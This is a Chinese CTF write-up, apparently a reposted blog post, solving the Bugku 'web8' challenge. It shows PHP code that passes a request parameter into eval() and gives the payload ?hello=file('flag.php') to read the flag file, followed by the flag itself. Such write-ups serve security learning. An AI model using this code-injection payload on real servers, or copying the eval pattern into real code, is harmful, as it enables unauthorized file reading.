Bugku CTF web8(Web)

0、打开网页,查看PHP源代码

<?php
    include "flag.php";
    $a = @$_REQUEST['hello'];
    eval( "var_dump($a);");
    show_source(__FILE__);
?>

发现 flag存在于名为flag.php的文件中,且回显与名为hello的变量有关

尝试向hello变量传递参数(函数)

这里使用file函数,通过eval,并用var_dump()函数打印flag

PHP file() 函数

PHP Filesystem 函数

定义和用法

file() 函数把整个文件读入一个数组中。

与 file_get_contents() 类似,不同的是 file() 将文件作为一个数组返回。数组中的每个单元都是文件中相应的一行,包括换行符在内。

如果失败,则返回 false。

语法

file(path,include_path,context)
参数 描述
path 必需。规定要读取的文件。
include_path 可选。如果也想在 include_path 中搜寻文件的话,可以将该参数设为 "1"。
context

可选。规定文件句柄的环境。

context 是一套可以修改流的行为的选项。若使用 null,则忽略。

1、最终上传的payload:?hello=file('flag.php')

2、得到flag:flag{ceaba6a1107823ddd8be2bb2d02ce09f}(动态flag)

猜你喜欢

转载自blog.csdn.net/ChaoYue_miku/article/details/113873719